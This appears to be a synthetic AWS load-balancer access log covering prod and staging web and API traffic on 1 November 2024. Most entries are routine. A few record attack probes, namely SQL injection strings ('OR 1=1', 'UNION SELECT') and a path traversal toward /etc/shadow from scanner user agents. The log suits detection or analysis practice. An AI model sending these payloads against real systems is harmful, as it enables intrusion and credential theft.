"Root=1-6723de25-0fc2fff4f24541e2b089b04a" "prod-api-alb.example.com" "-" 10 2024-11-01T02:44:37.426653Z "forward" "-" "-" "10.0.119.106:443" "301" "-" "-" -https 2024-11-01T02:44:39.100384Z prod-api-alb 193.27.228.135:26805 10.0.95.212:443 0.045804 0.485875 0.091402 500 500 829 11798 "GET /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de27-91f468bca2524a2ca3aa20d5" "-" "-" 1 2024-11-01T02:44:39.100384Z "forward" "-" "-" "10.0.95.212:443" "500" "-" "-" -https 2024-11-01T02:44:40.695903Z prod-web-alb 129.230.78.130:35113 10.0.157.87:443 0.038610 0.403653 0.023271 200 200 949 4920 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de28-74a9866be4054bc8ba4e0f9a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:44:40.695903Z "forward" "-" "-" "10.0.157.87:443" "200" "-" "-" -https 2024-11-01T02:44:41.444926Z prod-web-alb 80.71.173.70:62972 10.0.254.185:443 0.069032 0.174731 0.063726 200 200 7 5605 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de29-256504cd0b714fc1b2fd993c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:44:41.444926Z "forward" "-" "-" "10.0.254.185:443" "200" "-" "-" -https 2024-11-01T02:44:42.928834Z prod-web-alb 111.244.25.34:28753 10.0.121.84:443 0.087242 0.290891 0.036294 404 404 689 14712 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de2a-84694886ccab43509b520e57" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:42.928834Z "forward" "-" "-" "10.0.121.84:443" "404" "-" "-" -https 2024-11-01T02:44:43.316345Z prod-api-alb 8.244.137.47:34107 10.0.135.100:443 0.056999 0.361527 0.082415 200 200 24 12041 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de2b-ecacb8eb621b4cef8a386fc2" "prod-api-alb.example.com" "-" 10 2024-11-01T02:44:43.316345Z "forward" "-" "-" "10.0.135.100:443" "200" "-" "-" -https 2024-11-01T02:44:45.146968Z prod-web-alb 79.178.179.57:24637 10.0.253.78:443 0.076056 0.123602 0.092968 200 200 389 12643 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de2d-f479bb294649454ca2e56e71" "prod-web-alb.example.com" "-" 2 2024-11-01T02:44:45.146968Z "forward" "-" "-" "10.0.253.78:443" "200" "-" "-" -https 2024-11-01T02:44:46.985171Z prod-web-alb 223.168.60.233:32086 10.0.25.101:443 0.086303 0.064875 0.070573 200 200 772 10682 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de2e-2bf32b98e877432b99a52d03" "prod-web-alb.example.com" "-" 3 2024-11-01T02:44:46.985171Z "forward" "-" "-" "10.0.25.101:443" "200" "-" "-" -https 2024-11-01T02:44:47.302127Z prod-api-alb 99.27.121.110:46148 10.0.191.226:443 0.038752 0.223036 0.094074 200 200 896 3489 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de2f-ff6e25942aaf4cfe8a073437" "prod-api-alb.example.com" "-" 3 2024-11-01T02:44:47.302127Z "forward" "-" "-" "10.0.191.226:443" "200" "-" "-" -https 2024-11-01T02:44:49.173223Z prod-web-alb 244.210.233.25:63810 10.0.214.140:443 0.082101 0.365223 0.067702 404 404 572 3453 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de31-0ca83781cdc24ba2add8b752" "prod-web-alb.example.com" "-" 6 2024-11-01T02:44:49.173223Z "forward" "-" "-" "10.0.214.140:443" "404" "-" "-" -https 2024-11-01T02:44:50.923093Z prod-api-alb 249.62.176.245:25524 10.0.171.46:443 0.064533 0.496132 0.060930 404 404 95 8666 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de32-a7f3e16ac596479ab3e6c725" "prod-api-alb.example.com" "-" 1 2024-11-01T02:44:50.923093Z "forward" "-" "-" "10.0.171.46:443" "404" "-" "-" -https 2024-11-01T02:44:51.124442Z prod-api-alb 200.116.100.253:30337 10.0.7.133:443 0.009753 0.098800 0.082205 200 200 812 13658 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de33-d460571fdfbf4cf480355708" "prod-api-alb.example.com" "-" 0 2024-11-01T02:44:51.124442Z "forward" "-" "-" "10.0.7.133:443" "200" "-" "-" -https 2024-11-01T02:44:51.960686Z prod-api-alb 175.122.135.63:13373 10.0.132.82:443 0.017540 0.251237 0.006840 200 200 138 6073 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de33-62e8a2b85fb34b9a990a4094" "prod-api-alb.example.com" "-" 0 2024-11-01T02:44:51.960686Z "forward" "-" "-" "10.0.132.82:443" "200" "-" "-" -https 2024-11-01T02:44:53.754824Z prod-api-alb 156.71.98.181:61461 10.0.215.122:443 0.095877 0.499516 0.040209 301 301 569 4985 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de35-16e05305b6634bf38821ca3a" "prod-api-alb.example.com" "-" 4 2024-11-01T02:44:53.754824Z "forward" "-" "-" "10.0.215.122:443" "301" "-" "-" -https 2024-11-01T02:44:54.803314Z prod-web-alb 87.62.213.165:50825 10.0.218.239:443 0.084489 0.451709 0.096986 200 200 979 3632 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de36-89fd8bf6f2774d789b45d5ee" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:54.803314Z "forward" "-" "-" "10.0.218.239:443" "200" "-" "-" -https 2024-11-01T02:44:56.094950Z staging-alb 94.89.239.156:62375 245.39.164.174:443 0.051522 0.277642 0.107962 301 301 895 14677 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de38-daf9afc065724847abbce85e" "staging-alb.example.com" "-" 4 2024-11-01T02:44:56.094950Z "forward" "-" "-" "245.39.164.174:443" "301" "-" "-" -http 2024-11-01T02:44:57.450089Z staging-alb 73.126.107.43:49201 251.114.247.65:8080 0.023822 0.692208 0.061251 200 200 940 11109 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de39-bd1be17b39564a1cb69fc94b" "staging-alb.example.com" "-" 5 2024-11-01T02:44:57.450089Z "forward" "-" "-" "251.114.247.65:8080" "200" "-" "-" -https 2024-11-01T02:44:58.352936Z prod-web-alb 137.185.70.126:16821 10.0.230.112:443 0.026497 0.259206 0.081179 200 200 843 9597 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de3a-b827ede7cdc246d1aeeea9eb" "prod-web-alb.example.com" "-" 7 2024-11-01T02:44:58.352936Z "forward" "-" "-" "10.0.230.112:443" "200" "-" "-" -https 2024-11-01T02:45:00.234338Z prod-web-alb 79.212.243.123:26734 10.0.92.222:443 0.068802 0.284427 0.080396 200 200 422 3673 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de3c-a06cdb131d0a4dc6997ad418" "prod-web-alb.example.com" "-" 2 2024-11-01T02:45:00.234338Z "forward" "-" "-" "10.0.92.222:443" "200" "-" "-" -https 2024-11-01T02:45:01.947317Z prod-web-alb 72.29.61.19:47299 10.0.7.199:443 0.019951 0.431194 0.045332 301 301 519 5530 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de3d-a1008ff2d38c479c8f2d00c1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:45:01.947317Z "forward" "-" "-" "10.0.7.199:443" "301" "-" "-" -https 2024-11-01T02:45:03.400582Z prod-web-alb 159.31.234.87:35920 10.0.68.1:443 0.000144 0.395887 0.001436 301 301 925 11316 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de3f-421b4272a5c54a4e8aef32a0" "prod-web-alb.example.com" "-" 2 2024-11-01T02:45:03.400582Z "forward" "-" "-" "10.0.68.1:443" "301" "-" "-" -https 2024-11-01T02:45:04.912345Z prod-api-alb 210.140.202.120:13205 10.0.81.169:443 0.017712 0.311615 0.026872 302 302 72 8592 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de40-561a07f7e6784427b25a2946" "prod-api-alb.example.com" "-" 3 2024-11-01T02:45:04.912345Z "forward" "-" "-" "10.0.81.169:443" "302" "-" "-" -https 2024-11-01T02:45:05.328142Z prod-api-alb 14.235.170.140:22499 10.0.42.85:443 0.071960 0.476938 0.069604 200 200 801 4650 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de41-06c7121ca2d743979a906983" "prod-api-alb.example.com" "-" 3 2024-11-01T02:45:05.328142Z "forward" "-" "-" "10.0.42.85:443" "200" "-" "-" -https 2024-11-01T02:45:05.453573Z prod-api-alb 196.163.170.47:33812 10.0.52.34:443 0.033414 0.449242 0.095199 302 302 11 1887 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de41-8b3e8faca99747bdb8c36cf1" "prod-api-alb.example.com" "-" 3 2024-11-01T02:45:05.453573Z "forward" "-" "-" "10.0.52.34:443" "302" "-" "-" -https 2024-11-01T02:45:06.978744Z prod-web-alb 147.253.11.218:16754 10.0.232.250:443 0.087015 0.188390 0.046349 200 200 833 7528 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de42-2d9fef8e00fd44f5a5be4552" "prod-web-alb.example.com" "-" 8 2024-11-01T02:45:06.978744Z "forward" "-" "-" "10.0.232.250:443" "200" "-" "-" -https 2024-11-01T02:45:07.902146Z staging-alb 115.62.39.53:41296 41.151.209.203:8080 0.017368 0.463650 0.048767 301 301 195 1787 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de43-1459d71a578047f4b5f54dcd" "staging-alb.example.com" "-" 2 2024-11-01T02:45:07.902146Z "forward" "-" "-" "41.151.209.203:8080" "301" "-" "-" -http 2024-11-01T02:45:09.887792Z staging-alb 6.120.175.22:34696 51.176.201.245:8080 0.079782 0.488752 0.128774 404 404 266 9695 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de45-c09eabe4c26a49608835e316" "staging-alb.example.com" "-" 8 2024-11-01T02:45:09.887792Z "forward" "-" "-" "51.176.201.245:8080" "404" "-" "-" -https 2024-11-01T02:45:10.500424Z staging-alb 102.12.109.140:12915 215.209.207.117:443 0.073913 0.716974 0.112572 200 200 666 13835 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de46-6b58695ea8dd4c0894c6496b" "staging-alb.example.com" "-" 8 2024-11-01T02:45:10.500424Z "forward" "-" "-" "215.209.207.117:443" "200" "-" "-" -https 2024-11-01T02:45:11.866182Z prod-web-alb 139.227.225.160:14371 10.0.234.2:443 0.033944 0.355838 0.034340 200 200 994 6462 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de47-e9c9a357664541b3b4db5d4d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:45:11.866182Z "forward" "-" "-" "10.0.234.2:443" "200" "-" "-" -https 2024-11-01T02:45:12.734879Z prod-api-alb 179.73.236.77:41393 10.0.165.38:443 0.017174 0.067207 0.041383 302 302 362 2501 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de48-b3c3d612e41b4d9e99d174d9" "prod-api-alb.example.com" "-" 9 2024-11-01T02:45:12.734879Z "forward" "-" "-" "10.0.165.38:443" "302" "-" "-" -https 2024-11-01T02:45:13.036973Z staging-alb 73.159.157.52:58172 209.159.222.189:8080 0.101545 0.143679 0.096003 200 200 608 13339 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de49-053b7d1245ea4344b1e0461b" "staging-alb.example.com" "-" 1 2024-11-01T02:45:13.036973Z "forward" "-" "-" "209.159.222.189:8080" "200" "-" "-" -http 2024-11-01T02:45:14.775446Z staging-alb 130.46.82.179:60494 224.109.234.123:443 0.077973 0.271492 0.092328 302 302 250 666 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de4a-25011eccd1ec4f3fa0449e75" "-" "-" 8 2024-11-01T02:45:14.775446Z "forward" "-" "-" "224.109.234.123:443" "302" "-" "-" -https 2024-11-01T02:45:16.357823Z prod-api-alb 217.75.191.34:62502 10.0.211.187:443 0.032705 0.317541 0.081017 200 200 287 9564 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de4c-efa52429b91747ecb1753853" "prod-api-alb.example.com" "-" 8 2024-11-01T02:45:16.357823Z "forward" "-" "-" "10.0.211.187:443" "200" "-" "-" -http 2024-11-01T02:45:16.944513Z staging-alb 100.108.107.253:64103 24.189.175.136:443 0.145454 0.592903 0.055469 200 200 807 3231 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de4c-9c3f38d9a9934c60b12fad11" "staging-alb.example.com" "-" 7 2024-11-01T02:45:16.944513Z "forward" "-" "-" "24.189.175.136:443" "200" "-" "-" -https 2024-11-01T02:45:18.115311Z prod-api-alb 66.65.108.95:16632 10.0.70.196:443 0.042839 0.068860 0.001683 404 404 439 1866 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de4e-47ff2d44d8894435a1d8a082" "prod-api-alb.example.com" "-" 5 2024-11-01T02:45:18.115311Z "forward" "-" "-" "10.0.70.196:443" "404" "-" "-" -https 2024-11-01T02:45:18.911105Z prod-api-alb 49.149.207.118:36099 10.0.130.251:443 0.048133 0.289853 0.073936 200 200 656 5784 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de4e-9bfebc5061994c04b40c4744" "prod-api-alb.example.com" "-" 6 2024-11-01T02:45:18.911105Z "forward" "-" "-" "10.0.130.251:443" "200" "-" "-" -https 2024-11-01T02:45:19.925505Z prod-api-alb 254.215.80.106:61027 10.0.104.145:443 0.016434 0.151647 0.019586 200 200 605 11250 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de4f-62a78a0eea8b4410b5ba472f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:45:19.925505Z "forward" "-" "-" "10.0.104.145:443" "200" "-" "-" -https 2024-11-01T02:45:20.089739Z prod-api-alb 185.181.60.141:35837 10.0.4.89:443 0.068687 0.322121 0.003241 403 403 452 769 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de50-52dd452c8ed04b62875fecc9" "-" "-" 2 2024-11-01T02:45:20.089739Z "forward" "-" "-" "10.0.4.89:443" "403" "-" "-" -https 2024-11-01T02:45:22.085061Z prod-api-alb 15.250.126.255:27344 10.0.255.26:443 0.055943 0.294446 0.064702 200 200 390 3044 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de52-c79c73d6069a4054bbf686ef" "prod-api-alb.example.com" "-" 0 2024-11-01T02:45:22.085061Z "forward" "-" "-" "10.0.255.26:443" "200" "-" "-" -https 2024-11-01T02:45:24.023370Z prod-web-alb 247.119.237.134:10257 10.0.247.159:443 0.016719 0.489845 0.092275 301 301 661 10622 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de54-ef259bf0b237496694672336" "prod-web-alb.example.com" "-" 8 2024-11-01T02:45:24.023370Z "forward" "-" "-" "10.0.247.159:443" "301" "-" "-" -http 2024-11-01T02:45:25.566846Z staging-alb 250.145.221.222:45111 80.216.105.232:443 0.019661 0.382770 0.088830 200 200 771 10083 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de55-56b3695fca7848fd9fe1f8e6" "staging-alb.example.com" "-" 5 2024-11-01T02:45:25.566846Z "forward" "-" "-" "80.216.105.232:443" "200" "-" "-" -https 2024-11-01T02:45:27.166866Z prod-api-alb 193.27.228.199:45550 10.0.140.224:443 0.009022 0.460931 0.057020 200 200 230 818 "POST /search?q=1' UNION SELECT HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de57-24a302b396c7446f854b94f1" "-" "-" 2 2024-11-01T02:45:27.166866Z "forward" "-" "-" "10.0.140.224:443" "200" "-" "-" -https 2024-11-01T02:45:28.365621Z prod-api-alb 150.105.117.39:34919 10.0.89.208:443 0.006567 0.173339 0.027519 301 301 992 12622 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de58-c34b98af449b4332a2d1e139" "prod-api-alb.example.com" "-" 9 2024-11-01T02:45:28.365621Z "forward" "-" "-" "10.0.89.208:443" "301" "-" "-" -https 2024-11-01T02:45:29.108294Z prod-api-alb 43.78.13.39:46117 10.0.156.158:443 0.050360 0.444371 0.072599 200 200 481 12397 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de59-5ddcfd6121d5457ba5fb5066" "prod-api-alb.example.com" "-" 2 2024-11-01T02:45:29.108294Z "forward" "-" "-" "10.0.156.158:443" "200" "-" "-" -https 2024-11-01T02:45:30.158843Z prod-web-alb 176.163.154.113:38774 10.0.20.173:443 0.003449 0.419623 0.057821 302 302 43 9392 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de5a-0b13440c900b422a81eba101" "prod-web-alb.example.com" "-" 1 2024-11-01T02:45:30.158843Z "forward" "-" "-" "10.0.20.173:443" "302" "-" "-" -https 2024-11-01T02:45:31.583725Z prod-web-alb 184.94.133.59:61505 10.0.55.134:443 0.093262 0.267055 0.005324 404 404 596 4745 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de5b-98f31b88ff344fd2acb38f7e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:45:31.583725Z "forward" "-" "-" "10.0.55.134:443" "404" "-" "-" -https 2024-11-01T02:45:32.172156Z prod-web-alb 125.22.186.222:16428 10.0.85.89:443 0.007784 0.275080 0.066861 301 301 378 10802 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de5c-9d7d377553a949a29aae5f96" "prod-web-alb.example.com" "-" 10 2024-11-01T02:45:32.172156Z "forward" "-" "-" "10.0.85.89:443" "301" "-" "-" -http 2024-11-01T02:45:32.807856Z staging-alb 214.31.19.81:64074 103.32.241.49:443 0.058535 0.354171 0.038091 302 302 902 8460 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de5c-3f52d8be4c894b41b4332a31" "staging-alb.example.com" "-" 2 2024-11-01T02:45:32.807856Z "forward" "-" "-" "103.32.241.49:443" "302" "-" "-" -https 2024-11-01T02:45:34.715062Z staging-alb 32.22.151.147:45758 189.104.106.183:443 0.052988 0.007052 0.101311 200 200 334 9052 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de5e-fe3b60ee912248b0a90fe8d7" 